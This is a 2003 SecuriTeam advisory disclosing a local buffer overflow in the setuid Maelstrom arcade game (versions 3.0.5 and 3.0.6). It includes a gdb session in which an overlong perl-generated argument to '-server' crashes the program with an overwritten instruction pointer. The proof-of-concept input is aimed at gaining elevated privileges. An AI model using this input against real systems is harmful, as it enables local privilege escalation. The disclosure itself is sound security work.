[UNIX] Maelstrom Vulnerable to a Local Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 05/18/03

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Date: 18 May 2003 20:14:54 +0200

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      Maelstrom Vulnerable to a Local Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.devolution.com/~slouken/Maelstrom/> Maelstrom is an arcade
    game. There is a buffer overflow vulnerability in Maelstrom which allow
    local attacker arbitrary code execution. Exploitation of the vulnerability
    will allow users to gain elevated privileges (as the program is setuid
    'games').

    DETAILS

    Vulnerable systems:
     * Maelstrom 3.0.6
     * Maelstrom 3.0.5

    Example:
    [lucae@linux]$ gdb /usr/bin/Maelstrom

    GNU gdb 5.2.1-2mdk (Mandrake Linux)
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you
    are welcome to change it and/or distribute copies of it under certain
    conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty" for details.
    This GDB was configured as "i586-mandrake-linux-gnu"...

    (gdb) set args -server 2@`perl -e 'print "ABCD" x 9999'`
    (gdb) r

    Starting program: /usr/bin/Maelstrom -server 2@`perl -e 'print "ABCD" x
    9999'`
    Couldn't resolve host name for ABCDABC......ABCD

    Program received signal SIGSEGV, Segmentation fault.
    0x41444342 in ?? ()

    (gdb) Quit

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:luca.ercoli@inwind.it> Luca
    Ercoli.

    ========================================

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